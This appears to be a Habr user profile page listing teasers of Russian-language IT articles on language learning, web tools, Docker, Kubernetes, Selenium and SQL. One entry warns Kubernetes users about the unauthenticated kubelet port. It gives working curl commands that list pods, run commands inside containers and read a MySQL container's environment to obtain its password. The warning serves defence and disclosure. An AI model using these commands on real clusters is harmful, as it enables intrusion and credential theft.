Как стать автором
Обновить
2
0
Бабочкин Александр @Biggo

Пользователь

Отправить сообщение

Как освоить иностранный язык без преподавателя. Часть 2. «Пошаговая стратегия»

Время на прочтение 12 мин
Количество просмотров 69K

Languages are not taught, they are learnt!


Это статья для тех, кто хочет свободно разговаривать на иностранном языке. Неважно, начинаете вы с нуля или уже учите язык годами, но до сих пор испытываете сложности с восприятием беглой речи на слух или стресс при необходимости поговорить с носителем языка, здесь вы найдёте пошаговую стратегию освоения разговорного языка.


Примечание: Материалы статьи опираются на исследования Е.Д. Авериной, Д.Б. Никуличевой, Э.В. Гуннемарка и П.Нейшна, пропущенные через призму моего восприятия и опыт изучения 3 иностранных языков.

Читать дальше →
Всего голосов 46: ↑44 и ↓2 +42
Комментарии 65

27 отличных open source-инструментов для веб-разработки

Время на прочтение 3 мин
Количество просмотров 51K


Перевод 27 Amazing Web Development Tools for the Past Year (v.2018)

В 2017-м мы сравнили около 7 500 open source-инструментов для веб-разработки, из которых выбрали 27 лучших (0,4%). Это крайне конкурентный список, в который вошли инструменты, библиотеки и проекты, опубликованные в течение 2017-го. Mybridge AI оценивает их качество на основании популярности, заинтересованности и новизне. Чтобы было понятно, у выбранных продуктов среднее количество звёзд на Github — 5260.

Open source-инструменты могут почти даром повысить вашу продуктивность. Также вы можете чему-то научиться, читая исходный код и создавая что-нибудь на основе этих проектов. Так что рекомендуем уделить время и поэкспериментировать с инструментами из нашей подборки, возможно, какие-то из них прошли мимо вас.
Читать дальше →
Всего голосов 70: ↑55 и ↓15 +40
Комментарии 10

Go 1.10 Release Party @ Badoo: как это было. Видео, фото, отзывы

Время на прочтение 2 мин
Количество просмотров 8.5K


Привет, Хабр!

24 февраля мы устроили Go 1.10 Release Party @ Badoo по случаю свежего релиза. Спасибо всем, кто был с нами! Если вы пропустили встречу сообщества, под катом — видео выступлений, слайды, немного отзывов и фотоотчет.
Всего голосов 46: ↑46 и ↓0 +46
Комментарии 0

Разработка на Blockchain — что изменится для разработчиков?

Время на прочтение 9 мин
Количество просмотров 17K
Эта статья является переводом поста Винсента Чена (Vincent Chen) и Рамона Рекуэро (Ramon Recuero), цели которого очень схожи с теми, что преследуем и мы, и написанного для таких разработчиков, которых мы хотели бы видеть на своих мероприятиях.

Введение


Если вы читаете этот текст, то можно смело предположить, что вы — разработчик, который интересуется блокчейном. Вы уверены в том, что вы понимаете, как работает блокчейн, и вам не терпится узнать, какую пользу блокчейн может принести вам и вашим навыкам разработчика.

Целью нашего поста является:

  • Объяснить, как разработка под блокчейн отличается от других существующих парадигм разработки;
  • Предоставить некоторый контекст для возможностей и вызовов, которые существую в этой сфере;
  • Познакомить вас с полезными (зарубежными) ресурсами, которые помогут вам заняться разработкой в этой новой парадигме.
Читать дальше →
Всего голосов 29: ↑23 и ↓6 +17
Комментарии 2

Веб-типографика: создаем таблицы для чтения, а не для красоты

Время на прочтение 12 мин
Количество просмотров 22K
Наталия Шергина, фрилансер-редактор и студентка Нетологии, специально для блога перевела лонгрид Richard Rutter о типографике веб-таблиц.



Хорошие дизайнеры не жалеют времени на типографику. Они тщательно подбирают шрифты, перебирают множество типографических шкал и скрупулезно применяют пробелы (white space) ради удобства пользователя. Затем появляется соблазн покреативить — и вот все мысли уже не о пользователе. Однако таблицы нужны в первую очередь, чтобы их читали и использовали, а не просто любовались.
Читать дальше →
Всего голосов 34: ↑33 и ↓1 +32
Комментарии 9

Не было печали, апдейтов накачали

Время на прочтение 3 мин
Количество просмотров 39K

У меня дома используется Debian Sid. Большей частью он весьма и весьма хорош, но местами он слишком Bleeding слишком Edge. Например, когда отгружает пакеты, ломающие работоспособность системы. Вчера приехал wpasupplicant, который сломал мне wifi. Я его откатил, но в процессе я подумал, что многие пользователи не умеют этого делать. Рассказ "как откатить плохой apt-get install/upgrade" — в этом посте.


Ситуация


Мы сделали apt-get install что-то, или apt-get upgrade, или даже apt-get dist-upgrade, и после перезагрузки (или даже сразу же) обнаружили, что так нельзя. Сервис не стартует, убрана важная нам фича, кто-то падает и т.д. Мы хотим откатиться. Но вот, незадача — куда именно мы не знаем, потому что какая была версия до обновления мы не знаем.

Читать дальше →
Всего голосов 69: ↑68 и ↓1 +67
Комментарии 89

Консольные помощники для работы с Kubernetes через kubectl

Время на прочтение 5 мин
Количество просмотров 7K
image
Kubectl — основной консольный интерфейс для взаимодействия с Kubernetes и, безусловно, важный инструмент в руках любого администратора/DevOps-инженера, причастного к эксплуатации таких кластеров. Если вы пользуетесь им каждый день и делаете это по-настоящему активно, то, как это свойственно ИТ-специалистам, наверняка задумывались о способах упрощения/автоматизации своих манипуляций. Благо, это мир сисадминов, Open Source и консоли, так что в нём, конечно, уже нашлись и те, кто не только задумывался об этом, но и воплотил свои потребности в жизнь — в виде утилит, доступных теперь и всем «коллегам по цеху». О них и пойдёт речь в этом небольшом обзоре.
Читать дальше →
Всего голосов 24: ↑22 и ↓2 +20
Комментарии 2

Библиотека python-selvpcclient

Время на прочтение 8 мин
Количество просмотров 4.3K


Для удобного взаимодействия с нашим сервисом Виртуальное приватное облако мы разработали библиотеку selvpcclient. Она написана на языке Python и покрывает весь API, благодаря чему вы можете управлять проектами, квотами, ресурсами из своего программного кода или консоли.
Читать дальше →
Всего голосов 15: ↑14 и ↓1 +13
Комментарии 0

Selenium: проще пареной репы…

Время на прочтение 3 мин
Количество просмотров 26K

Как вы уже могли заметить мы в команде Aerokube продолжаем упрощать жизнь в инфраструктуре тестирования. Сейчас мы усиленно работаем над удобными инструментами для, браузерного тестирования на основе Selenium. Одним из инструментов, о котором я уже рассказывал раньше, является Selenoid. Selenoid — это легковесный сервер, запускающий изолированные браузеры в Docker контейнерах. В предыдущих статьях (раз, два) я описал два возможных сценария использования Selenoid — работа с Docker и использование исполняемых файлов веб-драйверов в операционных системах, где отсутствует поддержка Docker. Сегодня я расскажу о новых возможностях, которые могут помочь в отладке браузерных тестов.


Читать дальше →
Всего голосов 19: ↑18 и ↓1 +17
Комментарии 0

Как принципы HumanOps применяются в Server Density

Время на прочтение 8 мин
Количество просмотров 2.6K

Понятие HumanOps родилось в Server Density в результате накопления значительного опыта работы по мониторингу компьютерных систем и, соответственно, пребывания команды в состоянии постоянной готовности. В первые годы существования компании я долгое время был на связи в режиме 24/7. Однако по мере роста команды мы внедряли процессы и политики, целью которых было распределение нагрузки и снижение негативного влияния случаев, когда сотрудников отрывают от текущей работы или звонят во внеурочное время, в том числе и ночью.


В процессе создания и распространения продукта, предназначенного для того, чтобы будить людей, мы обратили внимание, что наши клиенты испытывают схожие с нашими проблемы, связанные с пребыванием в состоянии постоянной готовности. Общение с клиентами убедило нас, что такие проблемы характерны для индустрии, и поэтому мы решили критически взглянуть на применяемые подходы, а также изучить лучшие практики, используемые другими участниками рынка. В итоге это привело к созданию сообщества по выработке и обсуждению ряда принципов, которые получили название HumanOps.


Мы надеемся, что аналогично практикам DevOps, ускоряющим развертывание, приносящим новые инструменты, а также объединяющим команды разработки и эксплуатации, HumanOps поможет организациям в освоении более «человечного» подхода к построению систем и работе с ними.


Под катом вы найдете 12 принципов HumanOps и описание их работы на примере Server Density.

Читать дальше →
Всего голосов 11: ↑11 и ↓0 +11
Комментарии 1

10 инструментов для стартаперов и стартапов

Время на прочтение 5 мин
Количество просмотров 14K
В прошлом мы уже подсказывали начинающим владельцам бизнеса стратегии и платформы для первых этапов продвижения, а также приводили список полезных ресурсов. Добавим к этому небольшой набор инструментов, которые помогут в процессе планирования, лидогенерации и проектирования сайта продукта.


Startup Graveyard

Учимся на горьком, но полезном опыте предшественников. Strartup Graveyard — это каталог стартапов, которые потерпели неудачу и вынуждены были выйти из игры. Цель проекта, как уверяют авторы, вовсе не в том, чтобы клеймить людей за ошибки — напротив, объективный безоценочный анализ факторов, которые привели ту или иную компанию к печальному исходу, позволит «снять стигму с неудачи» и выстроить более открытое, вдумчивое сообщество. История болезни излагается в лаконичной, ясной форме: название, ниша, годы жизни, инвесторы и бюджет, конкуренты, основные причины краха. Посетителям также предлагается внести свою лепту — произвести вскрытие такого рода над известным им проектом (возможно, даже своим собственным) и отправить результаты администрации.
Читать дальше →
Всего голосов 25: ↑22 и ↓3 +19
Комментарии 2

Полезные утилиты при работе с Kubernetes

Время на прочтение 5 мин
Количество просмотров 14K


В статье кратко рассмотрены сторонние Open Source-утилиты для Kubernetes, реализующие разные возможности и призванные помочь в повседневной работе. 4 из них взяты из англоязычного материала и помогают в: автоматическом обновлении конфигураций, отслеживании нагрузки по контейнерам/подам/нодам, переключении контекстов, создании DIND-кластеров (Docker in Docker). Остальные — найдены на GitHub и представлены коротким списком.
Читать дальше →
Всего голосов 19: ↑19 и ↓0 +19
Комментарии 2

Sparta — комплекс для проведения тестирования на проникновение

Время на прочтение 5 мин
Количество просмотров 17K

 
При проведении тестирования на проникновение важным этапом является начальный сбор информации об объектах аудита и их взаимодействии. Для этого необходимо составить карту инфраструктуры, используя различные инструменты и утилиты, получая разрозненный материал для дальнейшего анализа. Сегодня я рассмотрю фреймворк Sparta, который объединяет в себе базовый инструментарий для сбора и анализа информации при проведении тестирования на проникновение.

Читать дальше →
Всего голосов 32: ↑31 и ↓1 +30
Комментарии 0

Почему мы уверены в том, что развернули

Время на прочтение 6 мин
Количество просмотров 13K
image
Часто бывает, когда что-то не работает. И никто не хочет, чтобы что-то не работало по его вине. В контексте больших инфраструктур и распределенных приложений ошибка конфигурации может быть фатальной.

В статье я покажу как правильно тестировать окружение для приложения, какие инструменты использовать, приведу примеры удачного и целесообразного тестирования.

Статья будет интересна командам, которые практикуют DevOps или SRE, ответственным Dev, и прочим хорошим людям.
Читать дальше →
Всего голосов 21: ↑21 и ↓0 +21
Комментарии 9

Микросервисы: опыт использования в нагруженном проекте

Время на прочтение 17 мин
Количество просмотров 68K


На конференции HighLoad++ 2016 руководитель разработки «М-Тех» Вадим Мадисон рассказал о росте от системы, для которой сотня микросервисов казалась огромным числом, до нагруженного проекта, где пара тысяч микросервисов — обыденность.

Тема моего доклада — то, как мы запускали в продакшн микросервисы на достаточно нагруженном проекте. Это некий агрегированный опыт, но поскольку я работаю в компании «M-Tех», то давайте я пару слов расскажу о том, кто мы.

Если коротко, то мы занимаемся видеоотдачей — отдаём видео в реальном времени. Мы являемся видеоплатформой для «НТВ-Плюс» и «Матч ТВ». Это 300 тысяч одновременных пользователей, которые прибегают за 5 минут. Это 300 терабайт контента, который мы отдаем в час. Это такая интересная задача. Как это всё обслужить?

Про что сама эта история? Это про то, как мы росли, как проект развивался, как происходило какое-то переосмысление каких-то его частей, какого-то взаимодействия. Так или иначе, это про масштабирование проекта, потому что это всё — ради того, чтобы выдержать ещё больше нагрузки, предоставить клиентам ещё больше функционала и при этом не упасть, не потерять ключевых характеристик. В общем, чтобы клиент остался доволен. Ну и немного про то, какой путь мы прошли. С чего мы начинали.
Читать дальше →
Всего голосов 78: ↑77 и ↓1 +76
Комментарии 65

Редкий SQL

Время на прочтение 6 мин
Количество просмотров 49K

Вводная


Когда часто сталкиваешься с какой-либо технологией, языком программирования, стандартом, формируется некая картина их возможностей, границы, в которых они используются. Так может продолжаться достаточно долго, пока на глаза не попадаются примеры, которые расширяют затвердевшие горизонты знания. Сегодня, я хотел бы рассказать о таких примерах и продемонстировать их для языка SQL. Интересные и редкие конструкции, забытые выражения, странные приемы ждут Вас в этой статье. Кого заинтересовал, добро пожаловать под кат.
Читать дальше →
Всего голосов 25: ↑19 и ↓6 +13
Комментарии 63

Предостережение для пользователей Kubernetes

Время на прочтение 1 мин
Количество просмотров 10K

Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.


Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:



Что с этим можно сделать? Практически всё. Без регистрации и sms.


Получить список всех pod'ов:


$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Выполнить команду внутри контейнера? Запросто:


$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Получить пароль на базу данных? Проще простого:


$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Вытащить из неё данные тоже не составит труда.

Всего голосов 22: ↑18 и ↓4 +14
Комментарии 14

Настраиваем приватный Docker-репозиторий

Время на прочтение 3 мин
Количество просмотров 80K

Docker одна из горячих тем в разработке. Большинство новых проектов строится именно на Docker. Как минимум, он отлично зарекомендовал себя для распространения ПО, например, наша система поиска по документам Ambar устанавливается с помощью docker-compose.


В начале работы над Ambar мы использовали публичный docker-репозиторий, но с ростом проекта и появлением enterprise версии мы задумались над созданием собственного приватного репозитория. В данной статье мы поделимся своим опытом развертывания селф-хостед репозитория: пошагово опишем весь процесс, попытаемся обойти все подводные камни.

Читать дальше →
Всего голосов 43: ↑38 и ↓5 +33
Комментарии 14

Повышаем безопасность контейнеров Docker

Время на прочтение 6 мин
Количество просмотров 12K


— Сударь, каким образом вас взломали?
— Не образом, а контейнером.
Старинный анекдот

Все лишние компоненты компьютерной системы могут оказаться источником совершенно необязательных уязвимостей. Поэтому образы контейнеров должны по возможности содержать только то, что нужно приложению. И их размер имеет значение не только с точки зрения удобства дистрибуции, но также стоимости владения и безопасности. В этой статье мы поговорим о методах минимизации размера и поверхности атаки образов Docker, а также об инструментах их сканирования на предмет наличия уязвимостей.

Читать дальше →
Всего голосов 27: ↑26 и ↓1 +25
Комментарии 4

Информация

В рейтинге
Не участвует
Откуда
Москва, Москва и Московская обл., Россия
Дата рождения
Зарегистрирован
Активность